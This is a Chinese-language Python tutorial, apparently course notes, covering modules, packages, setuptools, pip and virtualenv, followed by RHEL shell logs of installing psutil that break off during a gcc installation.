Python 脚本编程及系统大规模自动化运维-Python模块

Python 脚本编程及系统大规模自动化运维-Python模块
- 模块
  - Module
  - import
  - from import
  - dir
  - 模块预编译
  - name属性
  - package
  - 练习
- 第三方软件安装
  - setuptools
    - setuptools的使用
  - pip
    - pip的使用
  - virtualenv
    - virtualenv的使用
    - 访问系统库
    - 虚拟环境的发布
    - 更进一步资料
  - 软件包安装和管理建议

python实例-psutil系统基础信息模块详解
- Python实践1——virtualenv的使用
- Python实践2——virtualenv中安装psutil系统性能信息模块
- Python实践3——使用psutil系统性能信息模块获取当前物理内存总大小及已使用大小
  - 内存信息
- Python实践4——使用psutil系统性能信息模块获取当前系统CPU利用率
  - CPU信息
- Python实践5——使用psutil系统性能信息模块获取当前系统磁盘信息
  - 磁盘IO信息
- Python实践6——使用psutil系统性能信息模块获取当前系统网络信息
  - 网络信息
- Python实践7——使用psutil系统性能信息模块获取当前系统用户登录信息
  - 其他系统信息
- Python实践8——使用psutil系统性能信息模块获取当前系统进程信息
  - 系统进程管理方法
    - 进程信息
    - popen类的使用

python实例-paramkio模块实现ssh管理
- ssh
  - 实践1——安装paramkio包
  - 实践2——编写python脚本连接到ssh服务器并远程执行命令
    - 密码方式登录
    - 基于证书方式的登录
- python 脚本实战
  - for循环9*9

自定义模块，加载模式，使用模块的方法，数据（**name**）
使用subprocess模块完成病毒自我复制
使用subprocess模块完成批量添加用户
虚拟环境的搭建，激活和退出；第三方包的安装

模块

Module

预先写好的代码，供其他代码使用。

一个module是一个独立文件。

每个module拥有自己的全局变量空间。数据定义，函数，均定义在其中。

```
%%writefile testmod.py
varible1 = 1
varible2 = 2

def add(a, b):
    return a+b

if __name__ == '__main__':
    print('run as script')
```

Writing testmod.py

```
!ls -l testmod.py
```

-rw-r--r-- 1 shell shell 111 9月 6 13:03 testmod.py

import

import引入某个module对象，可使用module.name的方式引用它的全局变量。

```
import testmod
testmod.varible1
```

1

from import

from import引入模块中的某个（或全部）变量。

被引入变量不需要module.name来访问，仅需要name。

注意：不推荐引入全部变量，会引起名称空间污染。

```
from testmod import varible2

varible2
```

2

dir

列出某个模块的所有变量。

```
import testmod
dir(testmod)
```

['**builtins**',
 '**doc**',
 '**file**',
 '**name**',
 '**package**',
 'add',
 'varible1',
 'varible2']

模块预编译

当import时，python会试图去编译出pyc文件来。

pyc是被编译过的py文件，加载pyc文件可以跳过语法解析过程。

当py日期新于pyc时，重新生成pyc。所以日期紊乱可能导致执行老代码。

在Python3(3.2以后)中，会在当前目录下生成**pycache**目录，来缓存pyc文件。

这样可以避免多个Python解释器无法互相载入对方的pyc文件。

具体可以参考这里： https://docs.python.org/3/whatsnew/3.2.html

name属性

模块有一个属性，**name**。当这个属性为'**main**'时，说明当前模块被作为脚本运行。

模块被作为以脚本运行时，不生成pyc文件（因为不是import）。

```
[root@workstation0 ~]# vim /root/pythondir/a.py
#!/usr/bin/env python
def max(x,y):
        if x>y:return x
        else:return y
if __name__=="__main__":
        print max(2,1)
[root@workstation0 ~]# python a.py
2
[root@workstation0 ~]# ls
a.py
[root@workstation0 ~]# python
Python 2.7.5 (default, Oct 11 2015, 17:47:16)
[GCC 4.8.3 20140911 (Red Hat 4.8.3-9)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import a
>>> dir(a)
['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'max']
>>> a.max
<function max at 0x7f8518edd938>
>>> a.max(3,4)
4
>>> a.max(5,2)
5
>>> exit()
[root@workstation0 ~]# ll
total 8
-rw-rw-r-- 1 root root 111 Nov 17 12:09 a.py
-rw-rw-r-- 1 root root 290 Nov 17 12:11 a.py

[root@workstation0 ~]# vim b.py
#!/usr/bin/env python
def min(x,y):
    if x<y:return x
    else: return y
if __name__=="__main__":
    print min(3,1)
[root@rhel6 ~] python b.py
1
[root@workstation0 ~]# ll
total 12
-rw-rw-r-- 1 kiosk kiosk 111 Nov 17 12:09 a.py
-rw-rw-r-- 1 kiosk kiosk 290 Nov 17 12:11 a.pyc
-rw-rw-r-- 1 kiosk kiosk 110 Nov 17 12:17 b.py
[root@workstation0 ~]# python
Python 2.7.5 (default, Oct 11 2015, 17:47:16)
[GCC 4.8.3 20140911 (Red Hat 4.8.3-9)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import b
>>> dir(b)
['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'min']
>>> b.min(4,1)

1
```

```
>>> exit()
[root@workstation0 ~]# ll
total 16
-rw-rw-r-- 1 kiosk kiosk 111 Nov 17 12:09 a.py
-rw-rw-r-- 1 kiosk kiosk 290 Nov 17 12:11 a.pyc
-rw-rw-r-- 1 kiosk kiosk 110 Nov 17 12:17 b.py
-rw-rw-r-- 1 kiosk kiosk 290 Nov 17 12:17 b.pyc
```

package

到目前为止,你一定已经开始看到了组织你的程序的层次。变量通常在函数内部运行。函数和全局变量通常在模块内部运行。如果你想自己组织模块呢?那" 包" 就会进入到你的视野中。

包是模块的文件夹,有一个特殊的 **init**.py 文件,用来表明这个文件夹是特殊的因为其包含有 Python 模块。

加入你想创建一个叫做'world' 的包,有子包'asia','africa' 等等,并且,这些子包又包含模块,如'india','madagascar' 等等。

- 从组织结构上说，package是比modules更大一级的结构。
- 一个package里可以包含多个modules和packages。

> 课堂练习：创建一个pythondir包，其中包含了模块a和模块b

```
[root@workstation0 ~]# touch /root/pythondir/__init__.py
[root@workstation0 ~]# ipython
In [2]: import sys

In [3]: print sys.path
['', '/usr/bin', '/usr/lib64/python27.zip', '/usr/lib64/python2.7', '/usr/lib64/python2.7/plat-
linux2', '/usr/lib64/python2.7/lib-tk', '/usr/lib64/python2.7/lib-old',
'/usr/lib64/python2.7/lib-dynload', '/usr/lib64/python2.7/site-packages',
'/usr/lib64/python2.7/site-packages/gtk-2.0', '/usr/lib/python2.7/site-packages',
'/usr/lib/python2.7/site-packages/IPython/extensions']

[root@workstation0 ~]# ipython
Python 2.7.5 (default, Oct 11 2015, 17:47:16)
Type "copyright", "credits" or "license" for more information.

IPython 0.13.1 -- An enhanced Interactive Python.
?         -> Introduction and overview of IPython's features.
%quickref -> Quick reference.
help      -> Python's own help system.
object?   -> Details about 'object', use 'object??' for extra details.

In [1]: import pythondir.a

In [2]: pythondir.a.max(1,2)
Out[2]: 2

In [3]: import pythondir.b

In [4]: pythondir.b.min(1,2)
Out[4]: 1
```

练习

- 导入系统sys模块
- 列出sys模块中以s开头并且以e结尾的成员。

```
[root@workstation0 ~]# cat m2.py
import sys
for i in dir(sys):
    if i.startswith('s') and i.endswith('e'):
        print(i)

[root@workstation0 ~]# python m2.py
setprofile
settrace
```

第三方软件安装

两套基本系统：

```
setuptools
pip
```

booboo:根据不同的需求，我们可能需要安装不同的第三方软件包（python模块）

setuptools

系统中必须安装了setuptools

```
[root@workstation0 tmp]# yum list|grep setuptools
Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast
python-setuptools.noarch                0.9.8-4.el7                @anaconda/7.2
[root@workstation0 tmp]# rpm -q python-setuptools
python-setuptools-0.9.8-4.el7.noarch
[root@workstation0 tmp]# rpm -qi python-setuptools
Name        : python-setuptools
Version     : 0.9.8
Release     : 4.el7
Architecture: noarch
Install Date: Wed 04 May 2016 02:39:11 AM CST
Group       : Applications/System
Size        : 2041356
License     : Python or ZPLv2.0
Signature   : RSA/SHA256, Fri 07 Aug 2015 02:30:06 PM CST, Key ID 199e2f91fd431d51
Source RPM  : python-setuptools-0.9.8-4.el7.src.rpm
Build Date  : Tue 30 Jun 2015 06:44:38 PM CST
Build Host  : x86-024.build.eng.bos.redhat.com
Relocations : (not relocatable)
Packager    : Red Hat, Inc. <http://bugzilla.redhat.com/bugzilla>
Vendor      : Red Hat, Inc.
URL         : http://pypi.python.org/pypi/setuptools
Summary     : Easily build and distribute Python packages
Description :
Setuptools is a collection of enhancements to the Python distutils that allow
you to more easily build and distribute Python packages, especially ones that
have dependencies on other packages.

This package contains the runtime components of setuptools, necessary to
execute the software that requires pkg_resources.py.

This package contains the distribute fork of setuptools.

[root@workstation0 tmp]# rpm -ql python-setuptools
/usr/bin/easy_install
/usr/bin/easy_install-2.7
...

/usr/share/doc/python-setuptools-0.9.8/docs/python3.txt
/usr/share/doc/python-setuptools-0.9.8/docs/roadmap.txt
/usr/share/doc/python-setuptools-0.9.8/docs/setuptools.txt
/usr/share/doc/python-setuptools-0.9.8/docs/using.txt
/usr/share/doc/python-setuptools-0.9.8/psfl.txt
/usr/share/doc/python-setuptools-0.9.8/zpl.txt
```

setuptools的使用

```
easy_install 包名
easy_install 安装包路径。（路径可以填写一个url，系统会从网络上下载安装）
在软件的分发包中找到setup.py，直接运行python setup.py install
```

进一步资料请参考：https://setuptools.readthedocs.io/en/latest/easy_install.html

```
[root@workstation0 tmp]# easy_install --help
...
usage: easy_install [options] requirement_or_url ...
   or: easy_install --help
```

pip

系统中必须有pip，具体请咨询管理员。或者下载该文件：

https://bootstrap.pypa.io/get-pip.py

使用python执行安装（注意需要管理员权限）。

pip的使用

```
pip install 包名
pip install -r requirements.txt （自动处理里面的所有依赖）
```

virtualenv

功能：用于隔离出一套独立的环境，可以在里面安装各种包，而不对系统造成影响。

使用场景：可以在用户目录中安装包，无需系统权限。也可以隔离多个环境，安装不同版本的不同程序。

限制：virtualenv本身，及其依赖的Python是无法隔离的。

```
[root@workstation0 tmp]# yum list|grep virtualenv
Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast
python-virtualenv.noarch                1.10.1-2.el7               rhel_dvd
[root@workstation0 tmp]# rpm -q python-virtualenv
package python-virtualenv is not installed
[root@workstation0 tmp]# rpm -q python-virtualenv
package python-virtualenv is not installed
[root@workstation0 tmp]# yum install -y python-virtualenv
Loaded plugins: langpacks, product-id, search-disabled-repos,
              : subscription-manager
This system is not registered to Red Hat Subscription Management. You can use subscription-
manager to register.
Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast
rhel_dvd                                         | 4.1 kB     00:00
Resolving Dependencies
--> Running transaction check
---> Package python-virtualenv.noarch 0:1.10.1-2.el7 will be installed
--> Processing Dependency: python2-devel for package: python-virtualenv-1.10.1-2.el7.noarch
--> Running transaction check
---> Package python-devel.x86_64 0:2.7.5-34.el7 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
 Package              Arch      Version           Repository   Size
================================================================================
Installing:
 python-virtualenv    noarch    1.10.1-2.el7      rhel_dvd    1.2 M
Installing for dependencies:
 python-devel         x86_64    2.7.5-34.el7      rhel_dvd    391 k

Transaction Summary
================================================================================
Install  1 Package (+1 Dependent package)

Total download size: 1.6 M
Installed size: 2.6 M
Downloading packages:
(1/2): python-devel-2.7.5-34.el7.x86_64.rpm    | 391 kB   00:00
(2/2): python-virtualenv-1.10.1-2.el7.noarch.r | 1.2 MB   00:00
--------------------------------------------------------------------------------
Total                                  8.9 MB/s | 1.6 MB  00:00
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : python-devel-2.7.5-34.el7.x86_64                1/2
  Installing : python-virtualenv-1.10.1-2.el7.noarch           2/2
  Verifying  : python-devel-2.7.5-34.el7.x86_64                1/2
  Verifying  : python-virtualenv-1.10.1-2.el7.noarch           2/2

Installed:
```

```
  python-virtualenv.noarch 0:1.10.1-2.el7

Dependency Installed:
  python-devel.x86_64 0:2.7.5-34.el7

Complete!
[root@workstation0 tmp]# rpm -ql python-virtualenv
/usr/bin/virtualenv
/usr/bin/virtualenv-2.7
/usr/lib/python2.7/site-packages/virtualenv-1.10.1-py2.7.egg-info
/usr/lib/python2.7/site-packages/virtualenv.py
/usr/lib/python2.7/site-packages/virtualenv.pyc
/usr/lib/python2.7/site-packages/virtualenv.pyo
/usr/lib/python2.7/site-packages/virtualenv_support
/usr/lib/python2.7/site-packages/virtualenv_support/__init__.py
/usr/lib/python2.7/site-packages/virtualenv_support/__init__.pyc
/usr/lib/python2.7/site-packages/virtualenv_support/__init__.pyo
/usr/lib/python2.7/site-packages/virtualenv_support/pip-1.4.1.tar.gz
/usr/lib/python2.7/site-packages/virtualenv_support/setuptools-0.9.8.tar.gz
/usr/share/doc/python-virtualenv-1.10.1
/usr/share/doc/python-virtualenv-1.10.1/AUTHORS.txt
/usr/share/doc/python-virtualenv-1.10.1/LICENSE.txt
/usr/share/doc/python-virtualenv-1.10.1/PKG-INFO
/usr/share/doc/python-virtualenv-1.10.1/index.rst
/usr/share/doc/python-virtualenv-1.10.1/news.rst

[root@workstation0 tmp]# virtualenv --help
Usage: virtualenv [OPTIONS] DEST_DIR
```

virtualenv的使用

建立环境：virtualenv 目录名

激活环境：进入目录后执行source bin/activate

退出激活环境：deactivate

隔离环境内的安装：pip或者setup.py均可

注意：安装库时需要编译的，系统中必须有编译工具链。

```
[root@workstation0 ~]# mkdir booboo
[root@workstation0 ~]# virtualenv booboo
New python executable in booboo/bin/python
Installing
Setuptools.....................................................................................
.....................................................................................
.....................................done.
Installing
Pip.....................................................................................
.....................................................................................
.....................................................................................
.....................................done.
[root@workstation0 ~]# source bin/activate
-bash: bin/activate: No such file or directory
[root@workstation0 ~]# find / -name "activate"
/root/booboo/bin/activate
[root@workstation0 ~]# source /root/booboo/bin/activate
(booboo)[root@workstation0 ~]#
(booboo)[root@workstation0 ~]# ll booboo
total 4
drwxr-xr-x. 2 root root 4096 Oct 17 15:45 bin
drwxr-xr-x. 2 root root   22 Oct 17 15:45 include
drwxr-xr-x. 3 root root   22 Oct 17 15:45 lib
lrwxrwxrwx. 1 root root    3 Oct 17 15:45 lib64 -> lib
```

访问系统库

如果在使用virtualenv的同时，也想使用系统中安装的库。那么需要在创建环境时用--system-site-packages参数。

从工程管理角度，我们不推荐这种办法。建议将系统中的所有库在虚环境中再安装一次。

虚拟环境的发布

使用virtualenv生成的虚拟环境可以迁移到其他机器上，从而允许将运行环境在多台机器上迁移。但是需要注意以下事项：

- virtualenv依赖于目录工作，所以所有机器上virtualenv必须处于同一路径下。
- virtualenv不能隔离系统/Python基础环境。因此所有机器必须同构，并且Python环境基本一致。
- 里面所安装的库所依赖的其他系统文件，例如动态运行库，数据文件。如果不在virtualenv里安装的，则每个系统上均需要自行安装。

更进一步资料

请参考这里：

https://virtualenv.pypa.io/en/stable/userguide/

软件包安装和管理建议

Python默认情况下会试图将软件包安装到系统里，如果不具备管理员权限，需要使用virtualenv来安装软件包。

对于Debian/Ubuntu而言，安装软件的第一选择是apt系统。如果找不到包，或版本不对，建议采用virtualenv + pip的方式安装。

对于RHEL/CentOS而言，安装软件的第一选择是yum系统。如果找不到包，或版本不对，建议采用virtualenv + pip的方式安装。

对于Windows/MacOS而言，建议使用virtualenv + pip的方式安装。

python实例-psutil系统基础信息模块详解

Python实践1——virtualenv的使用

建立环境：virtualenv 目录名

激活环境：进入目录后执行source bin/activate

退出激活环境：deactivate

隔离环境内的安装：pip或者setup.py均可

注意：安装库时需要编译的，系统中必须有编译工具链。

```
[root@workstation0 ~]# yum list|grep python-vir
Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast
python-virtualenv.noarch               1.10.1-2.el7              rhel_dvd
[root@workstation0 ~]# yum install -y python-virtualenv
Loaded plugins: product-id, search-disabled-repos, subscription-manager
This system is not registered to Red Hat Subscription Management. You can use subscription-
manager to register.
Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast
rhel_dvd                                                 | 4.1 kB     00:00
Resolving Dependencies
--> Running transaction check
---> Package python-virtualenv.noarch 0:1.10.1-2.el7 will be installed
--> Processing Dependency: python-setuptools for package: python-virtualenv-1.10.1-2.el7.noarch
--> Processing Dependency: python2-devel for package: python-virtualenv-1.10.1-2.el7.noarch
--> Running transaction check
---> Package python-devel.x86_64 0:2.7.5-34.el7 will be installed
---> Package python-setuptools.noarch 0:0.9.8-4.el7 will be installed
--> Processing Dependency: python-backports-ssl_match_hostname for package: python-setuptools-
0.9.8-4.el7.noarch
--> Running transaction check
---> Package python-backports-ssl_match_hostname.noarch 0:3.4.0.2-4.el7 will be installed
--> Processing Dependency: python-backports for package: python-backports-ssl_match_hostname-
3.4.0.2-4.el7.noarch
--> Running transaction check
---> Package python-backports.x86_64 0:1.0-8.el7 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
 Package                          Arch    Version           Repository
                                                                          Size
================================================================================
Installing:
 python-virtualenv                noarch  1.10.1-2.el7      rhel_dvd  1.2 M
Installing for dependencies:
 python-backports                 x86_64  1.0-8.el7         rhel_dvd  5.8 k
 python-backports-ssl_match_hostname  noarch  3.4.0.2-4.el7     rhel_dvd   12 k
 python-devel                     x86_64  2.7.5-34.el7      rhel_dvd  391 k
 python-setuptools                noarch  0.9.8-4.el7       rhel_dvd  397 k

Transaction Summary
================================================================================
Install  1 Package (+4 Dependent packages)

Total download size: 2.0 M
Installed size: 4.6 M
Downloading packages:
(1/5): python-backports-ssl_match_hostname-3.4.0.2-4.el7.n |  12 kB   00:00
(2/5): python-backports-1.0-8.el7.x86_64.rpm               | 5.8 kB   00:00
(3/5): python-devel-2.7.5-34.el7.x86_64.rpm                | 391 kB   00:00
(4/5): python-setuptools-0.9.8-4.el7.noarch.rpm            | 397 kB   00:00
(5/5): python-virtualenv-1.10.1-2.el7.noarch.rpm           | 1.2 MB   00:00
```

```
--------------------------------------------------------------------------------
Total                                           5.1 MB/s | 2.0 MB  00:00
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
  Installing : python-backports-1.0-8.el7.x86_64                             1/5
  Installing : python-backports-ssl_match_hostname-3.4.0.2-4.el7.noarch      2/5
  Installing : python-setuptools-0.9.8-4.el7.noarch                          3/5
  Installing : python-devel-2.7.5-34.el7.x86_64                              4/5
  Installing : python-virtualenv-1.10.1-2.el7.noarch                         5/5
  Verifying  : python-devel-2.7.5-34.el7.x86_64                              1/5
  Verifying  : python-setuptools-0.9.8-4.el7.noarch                          2/5
  Verifying  : python-backports-1.0-8.el7.x86_64                             3/5
  Verifying  : python-backports-ssl_match_hostname-3.4.0.2-4.el7.noarch      4/5
  Verifying  : python-virtualenv-1.10.1-2.el7.noarch                         5/5

Installed:
  python-virtualenv.noarch 0:1.10.1-2.el7

Dependency Installed:
  python-backports.x86_64 0:1.0-8.el7
  python-backports-ssl_match_hostname.noarch 0:3.4.0.2-4.el7
  python-devel.x86_64 0:2.7.5-34.el7
  python-setuptools.noarch 0:0.9.8-4.el7

Complete!
[root@workstation0 ~]# mkdir /tmp/python
[root@workstation0 ~]# virt
virtualenv      virtualenv-2.7  virt-what
[root@workstation0 ~]# virtalenv /tmp/python
-bash: virtalenv: command not found
[root@workstation0 ~]# virtualenv /tmp/python
New python executable in /tmp/python/bin/python
Installing
Setuptools.....................................................................................
.....................................................................................
.....................................done.
Installing
Pip.....................................................................................
.....................................................................................
.....................................................................................
.....................................done.
[root@workstation0 ~]# cd /tmp/python
[root@workstation0 python]# ls
bin  include  lib  lib64
[root@workstation0 python]# source bin/
activate          activate_this.py  pip               python2
activate.csh      easy_install      pip-2.7           python2.7
activate.fish     easy_install-2.7  python
[root@workstation0 python]# source bin/activate
(python)[root@workstation0 python]#

(python)[root@workstation0 python]#
```

```
(python)[root@workstation0 python]# which pip
/tmp/python/bin/pip
```

Python实践2——virtualenv中安装psutil系统性能信息模块

psutil是一个跨平台库(https://pypi.python.org/packages),能够轻松实现获取系统运行的进程和系统利用率(包括CPU、内存、磁盘、网络等)信息。它主要应用于系统监控,分析和限制系统资源及进程的管理。它实现了同等命令行工具提供的功能,如ps、top、lsof、netstat、ifconfig、who、df、kill、free、nice、ionice、iostat、iotop、uptime、pidof、tty、taskset、pmap等。

```
# 第一次尝试安装时，报错说缺少gcc
(python)[root@workstation0 python]# wget psutil-4.3.1.tar.gz
(python)[root@workstation0 python]# ls
anaconda-ks.cfg  psutil-4.3.1  psutil-4.3.1.tar.gz
(python)[root@workstation0 python]# cd psutil-4.3.1
(python)[root@workstation0 python]# ls
appveyor.yml  DEVGUIDE.rst  HISTORY.rst  INSTALL.rst  make.bat  MANIFEST.in  psutil
README.rst  setup.cfg  tox.ini
CREDITS       docs          IDEAS        LICENSE      Makefile  PKG-INFO     psutil.egg-info
scripts     setup.py

(python)[root@workstation0 python]# pip install psutil
Downloading/unpacking psutil
  Downloading psutil-4.3.1.tar.gz (315kB): 315kB downloaded
  Running setup.py egg_info for package psutil

    warning: no previously-included files matching '*' found under directory 'docs/_build'
Installing collected packages: psutil
  Running setup.py install for psutil
    building 'psutil._psutil_linux' extension
    gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -
fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -
D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -
fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -
D_GNU_SOURCE -fPIC -fwrapv -fPIC -DPSUTIL_VERSION=431 -DPSUTIL_ETHTOOL_MISSING_TYPES=1 -
I/usr/include/python2.7 -c psutil/_psutil_linux.c -o build/temp.linux-x86_64-
2.7/psutil/_psutil_linux.o
    unable to execute gcc: No such file or directory
    error: command 'gcc' failed with exit status 1
    Complete output from command /tmp/python/bin/python -c "import
setuptools;__file__='/tmp/python/build/psutil/setup.py';exec(compile(open(__file__).read().replac
e('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-UX0HuE-record/install-record.txt -
-single-version-externally-managed --install-headers /tmp/python/include/site/python2.7:
    running install

running build

running build_py

creating build

creating build/lib.linux-x86_64-2.7

creating build/lib.linux-x86_64-2.7/psutil

copying psutil/_psposix.py -> build/lib.linux-x86_64-2.7/psutil

copying psutil/_psbsd.py -> build/lib.linux-x86_64-2.7/psutil

copying psutil/_pssunos.py -> build/lib.linux-x86_64-2.7/psutil

copying psutil/_pslinux.py -> build/lib.linux-x86_64-2.7/psutil
```

```
copying psutil/_common.py -> build/lib.linux-x86_64-2.7/psutil

copying psutil/__init__.py -> build/lib.linux-x86_64-2.7/psutil

copying psutil/_psosx.py -> build/lib.linux-x86_64-2.7/psutil

copying psutil/_compat.py -> build/lib.linux-x86_64-2.7/psutil

copying psutil/_pswindows.py -> build/lib.linux-x86_64-2.7/psutil

creating build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_bsd.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_memory_leaks.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_system.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_linux.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_misc.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/__init__.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_osx.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_process.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_windows.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/runner.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_posix.py -> build/lib.linux-x86_64-2.7/psutil/tests

copying psutil/tests/test_sunos.py -> build/lib.linux-x86_64-2.7/psutil/tests

running build_ext

building 'psutil._psutil_linux' extension

creating build/temp.linux-x86_64-2.7

creating build/temp.linux-x86_64-2.7/psutil

gcc -pthread -fno-strict-aliasing -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -
fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -
D_GNU_SOURCE -fPIC -fwrapv -DNDEBUG -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -
fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -
D_GNU_SOURCE -fPIC -fwrapv -fPIC -DPSUTIL_VERSION=431 -DPSUTIL_ETHTOOL_MISSING_TYPES=1 -
I/usr/include/python2.7 -c psutil/_psutil_linux.c -o build/temp.linux-x86_64-
2.7/psutil/_psutil_linux.o


unable to execute gcc: No such file or directory
```

```
error: command 'gcc' failed with exit status 1

----------------------------------------
Cleaning up...
Command /tmp/python/bin/python -c "import
setuptools;__file__='/tmp/python/build/psutil/setup.py';exec(compile(open(__file__).read().replac
e('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-UX0HuE-record/install-record.txt -
-single-version-externally-managed --install-headers /tmp/python/include/site/python2.7 failed
with error code 1 in /tmp/python/build/psutil
Storing complete log in /root/.pip/pip.log

# 安装gcc软件
(python)[root@workstation0 python]# yum install -y gcc*
Loaded plugins: product-id, search-disabled-repos, subscription-manager
This system is not registered to Red Hat Subscription Management. You can use subscription-
manager to register.
Resolving Dependencies
--> Running transaction check
---> Package gcc.x86_64 0:4.8.5-4.el7 will be installed
--> Processing Dependency: cpp = 4.8.5-4.el7 for package: gcc-4.8.5-4.el7.x86_64
--> Processing Dependency: glibc-devel >= 2.2.90-12 for package: gcc-4.8.5-4.el7.x86_64
--> Processing Dependency: libmpc.so.3()(64bit) for package: gcc-4.8.5-4.el7.x86_64
--> Processing Dependency: libmpfr.so.4()(64bit) for package: gcc-4.8.5-4.el7.x86_64
---> Package gcc-c++.x86_64 0:4.8.5-4.el7 will be installed
--> Processing Dependency: libstdc++-devel = 4.8.5-4.el7 for package: gcc-c++-4.8.5-4.el7.x86_64
---> Package gcc-gfortran.x86_64 0:4.8.5-4.el7 will be installed
--> Processing Dependency: libgfortran = 4.8.5-4.el7 for package: gcc-gfortran-4.8.5-4.el7.x86_64
--> Processing Dependency: libquadmath = 4.8.5-4.el7 for package: gcc-gfortran-4.8.5-4.el7.x86_64
--> Processing Dependency: libquadmath-devel = 4.8.5-4.el7 for package: gcc-gfortran-4.8.5-
4.el7.x86_64
--> Processing Dependency: libgfortran.so.3()(64bit) for package: gcc-gfortran-4.8.5-4.el7.x86_64
---> Package gcc-gnat.x86_64 0:4.8.5-4.el7 will be installed
--> Processing Dependency: libgnat = 4.8.5-4.el7 for package: gcc-gnat-4.8.5-4.el7.x86_64
--> Processing Dependency: libgnat-devel = 4.8.5-4.el7 for package: gcc-gnat-4.8.5-4.el7.x86_64
---> Package gcc-objc.x86_64 0:4.8.5-4.el7 will be installed
--> Processing Dependency: libobjc = 4.8.5-4.el7 for package: gcc-objc-4.8.5-4.el7.x86_64
--> Processing Dependency: libobjc.so.4()(64bit) for package: gcc-objc-4.8.5-4.el7.x86_64
---> Package gcc-objc++.x86_64 0:4.8.5-4.el7 will be installed
--> Running transaction check
---> Package cpp.x86_64 0:4.8.5-4.el7 will be installed
---> Package glibc-devel.x86_64 0:2.17-105.el7 will be installed
--> Processing Dependency: glibc-headers = 2.17-105.el7 for package: glibc-devel-2.17-
105.el7.x86_64
--> Processing Dependency: glibc-headers for package: glibc-devel-2.17-105.el7.x86_64
---> Package libgfortran.x86_64 0:4.8.5-4.el7 will be installed
---> Package libgnat.x86_64 0:4.8.5-4.el7 will be installed
---> Package libgnat-devel.x86_64 0:4.8.5-4.el7 will be installed
---> Package libmpc.x86_64 0:1.0.1-3.el7 will be installed
---> Package libobjc.x86_64 0:4.8.5-4.el7 will be installed
---> Package libquadmath.x86_64 0:4.8.5-4.el7 will be installed
---> Package libquadmath-devel.x86_64 0:4.8.5-4.el7 will be installed

---> Package libstdc++-devel.x86_64 0:4.8.5-4.el7 will be installed
```

```
---> Package mpfr.x86_64 0:3.1.1-4.el7 will be installed
--> Running transaction check
---> Package glibc-headers.x86_64 0:2.17-105.el7 will be installed
--> Processing Dependency: kernel-headers >= 2.2.1 for package: glibc-headers-2.17-105.el7.x86_64
--> Processing Dependency: kernel-headers for package: glibc-headers-2.17-105.el7.x86_64
--> Running transaction check
---> Package kernel-headers.x86_64 0:3.10.0-327.el7 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
 Package                Arch         Version              Repository      Size
================================================================================
Installing:
 gcc                    x86_64       4.8.5-4.el7          rhel_dvd        16 M
 gcc-c++                x86_64       4.8.5-4.el7          rhel_dvd       7.2 M
 gcc-gfortran           x86_64       4.8.5-4.el7          rhel_dvd       6.6 M
 gcc-gnat               x86_64       4.8.5-4.el7          rhel_dvd        13 M
 gcc-objc               x86_64       4.8.5-4.el7          rhel_dvd       5.7 M
 gcc-objc++             x86_64       4.8.5-4.el7          rhel_dvd       6.1 M
Installing for dependencies:
 cpp                    x86_64       4.8.5-4.el7          rhel_dvd       5.9 M
 glibc-devel            x86_64       2.17-105.el7         rhel_dvd       1.0 M
 glibc-headers          x86_64       2.17-105.el7         rhel_dvd       661 k
 kernel-headers         x86_64       3.10.0-327.el7       rhel_dvd       3.2 M
 libgfortran            x86_64       4.8.5-4.el7          rhel_dvd       293 k
 libgnat                x86_64       4.8.5-4.el7          rhel_dvd       960 k
 libgnat-devel          x86_64       4.8.5-4.el7          rhel_dvd       2.7 M
 libmpc                 x86_64       1.0.1-3.el7          rhel_dvd        51 k
 libobjc                x86_64       4.8.5-4.el7          rhel_dvd        73 k
 libquadmath            x86_64       4.8.5-4.el7          rhel_dvd       182 k
 libquadmath-devel      x86_64       4.8.5-4.el7          rhel_dvd        46 k
 libstdc++-devel        x86_64       4.8.5-4.el7          rhel_dvd       1.5 M
 mpfr                   x86_64       3.1.1-4.el7          rhel_dvd       203 k

Transaction Summary
================================================================================
Install  6 Packages (+13 Dependent packages)

Total download size: 71 M
Installed size: 188 M
Downloading packages:
(1/19): cpp-4.8.5-4.el7.x86_64.rpm                          | 5.9 MB   00:00
